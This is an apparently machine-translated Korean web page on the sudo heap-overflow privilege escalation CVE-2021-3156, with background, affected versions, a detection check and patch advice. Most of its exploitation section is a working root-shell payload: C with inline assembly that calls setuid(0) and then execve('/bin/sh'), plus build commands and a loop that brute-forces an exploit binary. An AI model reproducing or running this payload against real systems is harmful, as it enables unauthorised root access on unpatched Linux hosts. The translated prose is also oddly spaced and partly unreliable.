Linux sudo 권한 향상 빈틈 CVE - 2021 - 3156

빈틈 배경
1 월 26 일 에 Sudo 는 유 닉 스 와 유사 한 운영 체제 가 명령 매개 변수 에서 역 슬 래 쉬 를 피 할 때 쌓 인 버퍼 에 구멍 이 나 지 않도록 안전 통 지 를 발표 했다.빈틈 등급: 고위 험, 빈틈 평 점: 7.0.sudo 가 셸 모드 에서 - s 또는 i 명령 행 옵션 을 통 해 명령 을 실행 할 때, 명령 매개 변수 에 있 는 특수 문 자 를 바 꾸 기 위해 역 슬 래 쉬 를 사용 합 니 다.그러나 - s 또는 - i 로 고 를 사용 하여 sudodit 를 실행 할 때 실제 적 으로 의 미 를 바 꾸 지 않 아 버퍼 가 넘 칠 수 있 습 니 다.sudoers 파일 (보통/etc/sudoers) 이 존재 하면 공격 자 는 sudo 를 사용 하여 로 컬 일반 사용 자 를 사용 하여 시스템 루트 권한 을 얻 을 수 있 습 니 다.
빈틈 영향 버 전
     

Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
      

sudo =>1.9.5p2

구멍 검출
사용 자 는 루트 가 아 닌 계 정 로그 인 시스템 을 사용 하여 "sudoedit - s/"명령 을 실행 할 수 있 습 니 다.
그림 에서 "sudoedit:"로 시작 하 는 오 류 를 되 돌려 주면 현재 시스템 에 안전 위험 이 존재 할 수 있 습 니 다.영향 을 받 지 않 는 시스템 은 "usage:"로 시작 하 는 오류 응답 을 표시 합 니 다.
빈틈 이용
환경.
#la.c
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}

실행:
gcc -fpic -shared -nostdlib -o X.so.2  la.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

구멍 복구
1. 업그레이드 sudo 패키지 다운로드
2. 즉시 업데이트 할 수 없 는 사용자 에 게 systemtap 를 사용 하 는 것 을 권장 합 니 다.

좋은 웹페이지 즐겨찾기